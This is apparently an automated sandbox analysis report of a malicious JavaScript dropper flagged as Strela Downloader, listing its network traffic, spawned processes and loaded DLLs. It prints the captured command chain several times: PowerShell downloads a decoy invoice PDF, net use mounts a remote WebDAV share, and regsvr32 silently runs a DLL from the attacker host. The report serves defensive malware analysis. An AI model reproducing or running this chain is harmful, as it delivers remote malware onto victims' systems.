Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:65241 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1725554478.0000015E05B31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1793889450.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1792239095.000002DF750CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796428304.000002DF75080000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796537350.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1793889450.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796537350.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/6
Source: net.exe, 00000006.00000003.1793889450.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796537350.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/b
Source: net.exe, 00000006.00000002.1796428304.000002DF75080000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spacem_
Source: svchost.exe, 00000008.00000002.3006951337.000001D52DC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1809974133.000001D52DB78000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1809974133.000001D52DB78000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1809974133.000001D52DB78000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1809974133.000001D52DBAD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1809974133.000001D52DC22000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1809974133.000001D52DC22000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1809974133.000001D52DC22000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6280, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 20891229701394327174.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6516

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6564:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d3mkgqlf.vla.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1760,i,9706373503848865573,6522730053211814675,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1760,i,9706373503848865573,6522730053211814675,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
